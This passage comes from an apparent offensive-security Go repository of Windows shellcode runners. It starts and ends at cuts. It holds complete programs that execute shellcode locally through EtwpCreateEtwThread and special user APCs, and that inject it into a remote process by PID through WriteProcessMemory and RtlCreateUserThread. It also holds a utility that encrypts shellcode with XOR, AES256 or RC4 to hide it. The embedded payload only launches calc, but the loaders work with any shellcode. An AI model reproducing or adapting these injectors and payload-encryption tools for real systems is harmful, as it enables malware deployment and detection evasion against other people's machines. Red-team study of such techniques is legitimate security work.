121 | ModuleBase uintptr // The base address of the module
122 | ModuleSize uintptr // The size of the module, in bytes
123 | UserContext uintptr // Optional user-defined data
124 | }
125 |
--------------------------------------------------------------------------------
/cmd/EtwpCreateEtwThread/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in the current process using the following steps
5 | 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
6 | 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
7 | 3. Change the memory page permissions to Execute/Read with VirtualProtect
8 | 4. Call EtwpCreateEtwThread on shellcode address
9 | 5. Call WaitForSingleObject so the program does not end before the shellcode is executed
10 |
11 | This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
12 | */
13 |
14 | // Demonstrates using ntdll.dll!EtwpCreateThreadEtw for local shellcode execution: https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
15 |
16 | package main
17 |
18 | import (
19 | "encoding/hex"
20 | "flag"
21 | "fmt"
22 | "log"
23 | "unsafe"
24 |
25 | // Sub Repositories
26 | "golang.org/x/sys/windows"
27 | )
28 |
29 | const (
30 | // MEM_COMMIT is a Windows constant used with Windows API calls
31 | MEM_COMMIT = 0x1000
32 | // MEM_RESERVE is a Windows constant used with Windows API calls
33 | MEM_RESERVE = 0x2000
34 | // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
35 | PAGE_EXECUTE_READ = 0x20
36 | // PAGE_READWRITE is a Windows constant used with Windows API calls
37 | PAGE_READWRITE = 0x04
38 | )
39 |
40 | func main() {
41 | verbose := flag.Bool("verbose", false, "Enable verbose output")
42 | debug := flag.Bool("debug", false, "Enable debug output")
43 | flag.Parse()
44 |
45 | // Pop Calc Shellcode
46 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
47 | if errShellcode != nil {
48 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
49 | }
50 |
51 | if *debug {
52 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
53 | }
54 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
55 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
56 |
57 | if *debug {
58 | fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
59 | }
60 | VirtualAlloc := kernel32.NewProc("VirtualAlloc")
61 | VirtualProtect := kernel32.NewProc("VirtualProtect")
62 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
63 | EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
64 | WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
65 |
66 | if *debug {
67 | fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
68 | }
69 | addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
70 |
71 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
72 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
73 | }
74 |
75 | if addr == 0 {
76 | log.Fatal("[!]VirtualAlloc failed and returned 0")
77 | }
78 |
79 | if *verbose {
80 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
81 | }
82 |
83 | if *debug {
84 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
85 | }
86 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
87 |
88 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
89 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
90 | }
91 | if *verbose {
92 | fmt.Println("[-]Shellcode copied to memory")
93 | }
94 |
95 | if *debug {
96 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
97 | }
98 |
99 | oldProtect := PAGE_READWRITE
100 | _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
101 | if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
102 | log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
103 | }
104 | if *verbose {
105 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
106 | }
107 |
108 | if *debug {
109 | fmt.Println("[DEBUG]Calling EtwpCreateEtwThread...")
110 | }
111 | //var lpThreadId uint32
112 | thread, _, errEtwThread := EtwpCreateEtwThread.Call(addr, uintptr(0))
113 |
114 | if errEtwThread != nil && errEtwThread.Error() != "The operation completed successfully." {
115 | log.Fatal(fmt.Sprintf("[!]Error calling EtwpCreateEtwThread:\r\n%s", errEtwThread.Error()))
116 | }
117 |
118 | if *verbose {
119 | fmt.Println("[+]Shellcode Executed")
120 | }
121 |
122 | if *debug {
123 | fmt.Println("[DEBUG]Calling WaitForSingleObject...")
124 | }
125 |
126 | _, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
127 | if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
128 | log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
129 | }
130 | }
131 |
132 | // export GOOS=windows GOARCH=amd64;go build -o goEtwpCreateEtwThread.exe cmd/EtwpCreateEtwThread/main.go
133 |
--------------------------------------------------------------------------------
/cmd/NtQueueApcThreadEx-Local/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in the current process using the following steps
5 | 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
6 | 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
7 | 3. Change the memory page permissions to Execute/Read with VirtualProtect
8 | 4. Get a handle to the current thread
9 | 4. Execute the shellcode in the current thread by creating a "Special User APC" through the NtQueueApcThreadEx function
10 |
11 | References:
12 | 1. https://repnz.github.io/posts/apc/user-apc/
13 | 2. https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
14 | 3. https://0x00sec.org/t/process-injection-apc-injection/24608
15 | 4. https://twitter.com/aionescu/status/992264290924032005
16 | 5. http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
17 |
18 | */
19 |
20 | package main
21 |
22 | import (
23 | "encoding/hex"
24 | "flag"
25 | "fmt"
26 | "log"
27 | "unsafe"
28 |
29 | // Sub Repositories
30 | "golang.org/x/sys/windows"
31 | )
32 |
33 | const (
34 | // MEM_COMMIT is a Windows constant used with Windows API calls
35 | MEM_COMMIT = 0x1000
36 | // MEM_RESERVE is a Windows constant used with Windows API calls
37 | MEM_RESERVE = 0x2000
38 | // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
39 | PAGE_EXECUTE_READ = 0x20
40 | // PAGE_READWRITE is a Windows constant used with Windows API calls
41 | PAGE_READWRITE = 0x04
42 | )
43 |
44 | // https://docs.microsoft.com/en-us/windows/win32/midl/enum
45 | const (
46 | QUEUE_USER_APC_FLAGS_NONE = iota
47 | QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
48 | QUEUE_USER_APC_FLGAS_MAX_VALUE
49 | )
50 |
51 | func main() {
52 | verbose := flag.Bool("verbose", false, "Enable verbose output")
53 | debug := flag.Bool("debug", false, "Enable debug output")
54 | flag.Parse()
55 |
56 | // Pop Calc Shellcode
57 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
58 | if errShellcode != nil {
59 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
60 | }
61 |
62 | if *debug {
63 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
64 | }
65 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
66 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
67 |
68 | if *debug {
69 | fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect, and RtlCopyMemory procedures...")
70 | }
71 | VirtualAlloc := kernel32.NewProc("VirtualAlloc")
72 | VirtualProtect := kernel32.NewProc("VirtualProtect")
73 | GetCurrentThread := kernel32.NewProc("GetCurrentThread")
74 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
75 | NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
76 |
77 | if *debug {
78 | fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode...")
79 | }
80 | addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
81 |
82 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
83 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
84 | }
85 |
86 | if addr == 0 {
87 | log.Fatal("[!]VirtualAlloc failed and returned 0")
88 | }
89 |
90 | if *verbose {
91 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
92 | }
93 |
94 | if *debug {
95 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...")
96 | }
97 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
98 |
99 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
100 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
101 | }
102 | if *verbose {
103 | fmt.Println("[-]Shellcode copied to memory")
104 | }
105 |
106 | if *debug {
107 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...")
108 | }
109 |
110 | oldProtect := PAGE_READWRITE
111 | _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
112 | if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
113 | log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
114 | }
115 | if *verbose {
116 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
117 | }
118 |
119 | if *debug {
120 | fmt.Println("[DEBUG]Calling GetCurrentThread...")
121 | }
122 | thread, _, err := GetCurrentThread.Call()
123 | if err.Error() != "The operation completed successfully." {
124 | log.Fatal(fmt.Sprintf("Error calling GetCurrentThread:\n%s", err))
125 | }
126 | if *verbose {
127 | fmt.Printf("[-]Got handle to current thread: %v\n", thread)
128 | }
129 |
130 | if *debug {
131 | fmt.Println("[DEBUG]Calling NtQueueApcThreadEx...")
132 | }
133 | //USER_APC_OPTION := uintptr(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC)
134 | _, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
135 | if err.Error() != "The operation completed successfully." {
136 | log.Fatal(fmt.Sprintf("Error calling NtQueueApcThreadEx:\n%s", err))
137 | }
138 | if *verbose {
139 | fmt.Println("[-]Queued special user APC")
140 | }
141 |
142 | if *verbose {
143 | fmt.Println("[+]Shellcode Executed")
144 | }
145 |
146 | }
147 |
148 | // export GOOS=windows GOARCH=amd64;go build -o goNtQueueApcThreadEx-Local.exe cmd/NtQueueApcThreadEx-Local/main.go
149 |
--------------------------------------------------------------------------------
/cmd/RtlCreateUserThread/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in a remote process using the following steps
5 | 1. Get a handle to the target process
6 | 1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
7 | 2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
8 | 3. Change the memory page permissions to Execute/Read with VirtualProtectEx
9 | 4. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
10 | 5. Close the handle to the remote process
11 |
12 | This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
13 | */
14 |
15 | package main
16 |
17 | import (
18 | "encoding/hex"
19 | "flag"
20 | "fmt"
21 | "log"
22 | "os"
23 | "unsafe"
24 |
25 | // Sub Repositories
26 | "golang.org/x/sys/windows"
27 | )
28 |
29 | func main() {
30 | verbose := flag.Bool("verbose", false, "Enable verbose output")
31 | debug := flag.Bool("debug", false, "Enable debug output")
32 | // To hardcode the Process Identifier (PID), change 0 to the PID of the target process
33 | pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
34 | flag.Usage = func() {
35 | flag.PrintDefaults()
36 | os.Exit(0)
37 | }
38 | flag.Parse()
39 |
40 | // Pop Calc Shellcode
41 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
42 | if errShellcode != nil {
43 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
44 | }
45 |
46 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
47 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
48 |
49 | OpenProcess := kernel32.NewProc("OpenProcess")
50 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
51 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
52 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
53 | RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
54 | CloseHandle := kernel32.NewProc("CloseHandle")
55 |
56 | if *debug {
57 | fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
58 | }
59 | pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
60 |
61 | if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
62 | log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
63 | }
64 | if *verbose {
65 | fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
66 | }
67 |
68 | if *debug {
69 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
70 | }
71 | addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
72 |
73 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
74 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
75 | }
76 |
77 | if addr == 0 {
78 | log.Fatal("[!]VirtualAllocEx failed and returned 0")
79 | }
80 | if *verbose {
81 | fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
82 | }
83 |
84 | if *debug {
85 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
86 | }
87 | _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
88 |
89 | if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
90 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
91 | }
92 | if *verbose {
93 | fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
94 | }
95 |
96 | if *debug {
97 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
98 | }
99 | oldProtect := windows.PAGE_READWRITE
100 | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
101 | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
102 | log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
103 | }
104 | if *verbose {
105 | fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
106 | }
107 |
108 | if *debug {
109 | fmt.Println(fmt.Sprintf("[DEBUG]Calling RtlCreateUserThread on PID %d...", *pid))
110 | }
111 | var tHandle uintptr
112 | _, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
113 |
114 | if errRtlCreateUserThread != nil && errRtlCreateUserThread.Error() != "The operation completed successfully." {
115 | log.Fatal(fmt.Sprintf("Error calling RtlCreateUserThread:\r\n%s", errRtlCreateUserThread.Error()))
116 | }
117 | if *verbose {
118 | fmt.Println(fmt.Sprintf("[-]Successfully called RtlCreateUserThread on PID %d", *pid))
119 | }
120 |
121 | if *debug {
122 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
123 | }
124 | _, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
125 | if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
126 | log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
127 | }
128 | if *verbose {
129 | fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
130 | }
131 |
132 | }
133 |
134 | // export GOOS=windows GOARCH=amd64;go build -o goRtlCreateUserThread.exe cmd/RtlCreateUserThread/main.go
135 |
--------------------------------------------------------------------------------
/cmd/ShellcodeUtils/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "crypto/rc4"
8 | "encoding/base64"
9 | "encoding/hex"
10 | "flag"
11 | "fmt"
12 | "io"
13 | "io/ioutil"
14 | "os"
15 | "path/filepath"
16 | "strings"
17 |
18 | // X Packages
19 | "golang.org/x/crypto/argon2"
20 |
21 | // 3rd Party
22 | "github.com/fatih/color"
23 | )
24 |
25 | func main() {
26 | verbose := flag.Bool("v", false, "Enable verbose output")
27 | encryptionType := flag.String("type", "", "The type of encryption to use [xor, aes256, rc4, null]")
28 | key := flag.String("key", "", "Encryption key")
29 | b64 := flag.Bool("base64", false, "Base64 encode the output. Can be used with or without encryption")
30 | input := flag.String("i", "", "Input file path of binary file")
31 | output := flag.String("o", "", "Output file path")
32 | mode := flag.String("mode", "encrypt", "Mode of operation to perform on the input file [encrypt,decrypt]")
33 | salt := flag.String("salt", "", "Salt, in hex, used to generate an AES256 32-byte key through Argon2. Only used during decryption")
34 | inputNonce := flag.String("nonce", "", "Nonce, in hex, used to decrypt an AES256 input file. Only used during decryption")
35 | flag.Usage = func() {
36 | flag.PrintDefaults()
37 | os.Exit(0)
38 | }
39 | flag.Parse()
40 |
41 | // Check to make sure the input file exists
42 | _, errInputFile := os.Stat(*input)
43 |
44 | if os.IsNotExist(errInputFile) {
45 | color.Red(fmt.Sprintf("[!]The file does not exist: %s", *input))
46 | os.Exit(1)
47 | }
48 |
49 | shellcode, errShellcode := ioutil.ReadFile(*input)
50 |
51 | if errShellcode != nil {
52 | color.Red(fmt.Sprintf("[!]%s", errShellcode.Error()))
53 | os.Exit(1)
54 | }
55 |
56 | // Check to make sure an output file was provided
57 | if *output == "" {
58 | color.Red("[!]The -o output argument is required")
59 | os.Exit(1)
60 | }
61 |
62 | // Check to make sure the output directory exists
63 | dir, outFile := filepath.Split(*output)
64 | if *verbose {
65 | color.Yellow(fmt.Sprintf("[-]Output directory: %s", dir))
66 | color.Yellow(fmt.Sprintf("[-]Output file name: %s", outFile))
67 | }
68 |
69 | outDir, errOutDir := os.Stat(dir)
70 | if errOutDir != nil {
71 | color.Red(fmt.Sprintf("[!]%s", errOutDir.Error()))
72 | os.Exit(1)
73 | }
74 |
75 | if !outDir.IsDir() {
76 | color.Red(fmt.Sprintf("[!]The output directory does not exist: %s", dir))
77 | }
78 |
79 | if *verbose {
80 | color.Yellow(fmt.Sprintf("[-]File contents (hex): %x", shellcode))
81 | }
82 |
83 | if strings.ToUpper(*mode) != "ENCRYPT" && strings.ToUpper(*mode) != "DECRYPT" {
84 | color.Red("[!]Invalid mode provided. Must be either encrypt or decrypt")
85 | os.Exit(1)
86 | }
87 |
88 | // Make sure a key was provided
89 | if *encryptionType != "" {
90 | if *key == "" {
91 | color.Red("[!]A key must be provided with the -key parameter to encrypt the input file")
92 | os.Exit(1)
93 | }
94 | }
95 |
96 | var outputBytes []byte
97 |
98 | switch strings.ToUpper(*mode) {
99 | case "ENCRYPT":
100 | var encryptedBytes []byte
101 | switch strings.ToUpper(*encryptionType) {
102 | case "XOR":
103 | // https://kylewbanks.com/blog/xor-encryption-using-go
104 | if *verbose {
105 | color.Yellow(fmt.Sprintf("[-]XOR encrypting input file with key: %s", *key))
106 | }
107 | encryptedBytes = make([]byte, len(shellcode))
108 | tempKey := *key
109 | for k, v := range shellcode {
110 | encryptedBytes[k] = v ^ tempKey[k%len(tempKey)]
111 | }
112 | case "AES256":
113 | // https://github.com/gtank/cryptopasta/blob/master/encrypt.go
114 | if *verbose {
115 | color.Yellow("[-]AES256 encrypting input file")
116 | }
117 |
118 | // Generate a salt that is used to generate a 32 byte key with Argon2
119 | salt := make([]byte, 32)
120 | _, errReadFull := io.ReadFull(rand.Reader, salt)
121 | if errReadFull != nil {
122 | color.Red(fmt.Sprintf("[!]%s", errReadFull.Error()))
123 | os.Exit(1)
124 | }
125 | color.Green(fmt.Sprintf("[+]Argon2 salt (hex): %x", salt))
126 |
127 | // Generate Argon2 ID key from input password using a randomly generated salt
128 | aesKey := argon2.IDKey([]byte(*key), salt, 1, 64*1024, 4, 32)
129 | // I leave it up to the operator to use the password + salt for decryption or just the Argon2 key
130 | color.Green(fmt.Sprintf("[+]AES256 key (32-bytes) derived from input password %s (hex): %x", *key, aesKey))
131 |
132 | // Generate AES Cipher Block
133 | cipherBlock, err := aes.NewCipher(aesKey)
134 | if err != nil {
135 | color.Red(fmt.Sprintf("[!]%s", err.Error()))
136 | }
137 | gcm, errGcm := cipher.NewGCM(cipherBlock)
138 | if err != nil {
139 | color.Red(fmt.Sprintf("[!]%s", errGcm.Error()))
140 | os.Exit(1)
141 | }
142 |
143 | // Generate a nonce (or IV) for use with the AES256 function
144 | nonce := make([]byte, gcm.NonceSize())
145 | _, errNonce := io.ReadFull(rand.Reader, nonce)
146 | if errNonce != nil {
147 | color.Red(fmt.Sprintf("[!]%s", errNonce.Error()))
148 | os.Exit(1)
149 | }
150 |
151 | color.Green(fmt.Sprintf("[+]AES256 nonce (hex): %x", nonce))
152 |
153 | encryptedBytes = gcm.Seal(nil, nonce, shellcode, nil)
154 | case "RC4":
155 | if *verbose {
156 | color.Yellow("[-]RC4 encrypting input file")
157 | }
158 | cipher, err := rc4.NewCipher([]byte(*key))
159 | if err != nil {
160 | color.Red(fmt.Sprintf("[!]%s", err.Error()))
161 | os.Exit(1)
162 | }
163 | encryptedBytes = make([]byte, len(shellcode))
164 | cipher.XORKeyStream(encryptedBytes, shellcode)
165 | case "":
166 | if *verbose {
167 | color.Yellow("[-]No encryption type provided, continuing on...")
168 | }
169 | encryptedBytes = append(encryptedBytes, shellcode...)
170 | default:
171 | color.Red(fmt.Sprintf("[!]Invalid method type: %s", *encryptionType))
172 | os.Exit(1)
173 | }
174 |
175 | if len(encryptedBytes) <= 0 {
176 | color.Red("[!]Encrypted byte slice length is equal to or less than 0")
177 | os.Exit(1)
178 | }
179 | if *b64 {
180 | outputBytes = make([]byte, base64.StdEncoding.EncodedLen(len(encryptedBytes)))
181 | base64.StdEncoding.Encode(outputBytes, encryptedBytes)
182 | } else {
183 | outputBytes = append(outputBytes, encryptedBytes...)
184 | }
185 | case "DECRYPT":
186 | var decryptedBytes []byte
187 | switch strings.ToUpper(*encryptionType) {
188 | case "AES256":
189 | // https://github.com/gtank/cryptopasta/blob/master/encrypt.go
190 | if *verbose {
191 | color.Yellow("[-]AES256 decrypting input file")
192 | }
193 | // I leave it up to the operator to use the password + salt for decryption or just the Argon2 key
194 | if *salt == "" {
195 | color.Red("[!]A 32-byte salt in hex format must be provided with the -salt argument to decrypt AES256 input file")
196 | os.Exit(1)
197 | }
198 | if len(*salt) != 64 {
199 | color.Red("[!]A 32-byte salt in hex format must be provided with the -salt argument to decrypt AES256 input file")
200 | color.Red(fmt.Sprintf("[!]A %d byte salt was provided", len(*salt)/2))
201 | os.Exit(1)
202 | }
203 |
204 | saltDecoded, errSaltDecoded := hex.DecodeString(*salt)
205 | if errShellcode != nil {
206 | color.Red(fmt.Sprintf("[!]%s", errSaltDecoded.Error()))
207 | os.Exit(1)
208 | }
209 | if *verbose {
210 | color.Yellow("[-]Argon2 salt (hex): %x", saltDecoded)
211 | }
212 |
213 | aesKey := argon2.IDKey([]byte(*key), saltDecoded, 1, 64*1024, 4, 32)
214 | if *verbose {
215 | color.Yellow("[-]AES256 key (hex): %x", aesKey)
216 | }
217 |
218 | cipherBlock, err := aes.NewCipher(aesKey)
219 | if err != nil {
220 | color.Red(fmt.Sprintf("[!]%s", err.Error()))
221 | }
222 |
223 | gcm, errGcm := cipher.NewGCM(cipherBlock)
224 | if err != nil {
225 | color.Red(fmt.Sprintf("[!]%s", errGcm.Error()))
226 | os.Exit(1)
227 | }
228 |
229 | if len(shellcode) < gcm.NonceSize() {
230 | color.Red("[!]Malformed ciphertext is larger than nonce")
231 | os.Exit(1)
232 | }
233 |
234 | if len(*inputNonce) != gcm.NonceSize()*2 {
235 | color.Red("[!]A nonce, in hex, must be provided with the -nonce argument to decrypt the AES256 input file")
236 | color.Red(fmt.Sprintf("[!]A %d byte nonce was provided but %d byte nonce was expected", len(*inputNonce)/2, gcm.NonceSize()))
237 | os.Exit(1)
238 | }
239 | decryptNonce, errDecryptNonce := hex.DecodeString(*inputNonce)
240 | if errDecryptNonce != nil {
241 | color.Red("[!]%s", errDecryptNonce.Error())
242 | os.Exit(1)
243 | }
244 | if *verbose {
245 | color.Yellow(fmt.Sprintf("[-]AES256 nonce (hex): %x", decryptNonce))
246 | }
247 |
248 | var errDecryptedBytes error
249 | decryptedBytes, errDecryptedBytes = gcm.Open(nil, decryptNonce, shellcode, nil)
250 | if errDecryptedBytes != nil {
251 | color.Red("[!]%s", errDecryptedBytes.Error())
252 | os.Exit(1)
253 | }
254 | case "XOR":
255 | // https://kylewbanks.com/blog/xor-encryption-using-go
256 | if *verbose {
257 | color.Yellow(fmt.Sprintf("[-]XOR decrypting input file with key: %s", *key))
258 | }
259 | decryptedBytes = make([]byte, len(shellcode))
260 | tempKey := *key
261 | for k, v := range shellcode {
262 | decryptedBytes[k] = v ^ tempKey[k%len(tempKey)]
263 | }
264 | case "RC4":
265 | if *verbose {
266 | color.Yellow("[-]RC4 decrypting input file")
267 | }
268 | cipher, err := rc4.NewCipher([]byte(*key))
269 | if err != nil {
270 | color.Red(fmt.Sprintf("[!]%s", err.Error()))
271 | os.Exit(1)
272 | }
273 | decryptedBytes = make([]byte, len(shellcode))
274 | cipher.XORKeyStream(decryptedBytes, shellcode)
275 | default:
276 | color.Red("[!]Invalid method")
277 | os.Exit(1)
278 | }
279 | if len(decryptedBytes) <= 0 {
280 | color.Red("[!]Decrypted byte slice length is equal to or less than 0")
281 | os.Exit(1)
282 | }
283 | if *b64 {
284 | outputBytes = make([]byte, base64.StdEncoding.EncodedLen(len(decryptedBytes)))
285 | base64.StdEncoding.Encode(outputBytes, decryptedBytes)
286 | } else {
287 | outputBytes = append(outputBytes, decryptedBytes...)
288 | }
289 | }
290 |
291 | if *verbose {
292 | if *b64 {
293 | color.Green("[+]Output (string):\r\n")
294 | fmt.Println(fmt.Sprintf("%s", outputBytes))
295 | } else {
296 | color.Green("[+]Output (hex):\r\n")
297 | fmt.Println(fmt.Sprintf("%x", outputBytes))
298 | }
299 | }
300 |
301 | // Write the file
302 | err := ioutil.WriteFile(*output, outputBytes, 0660)
303 | if err != nil {
304 | color.Red(fmt.Sprintf("[!]%s", err.Error()))
305 | os.Exit(1)
306 | }
307 | color.Green(fmt.Sprintf("[+]%s %s input and wrote %d bytes to: %s", *encryptionType, *mode, len(outputBytes), *output))
308 |
309 | }
310 |
--------------------------------------------------------------------------------
/cmd/Syscall/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in the current process using the following steps
5 | 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
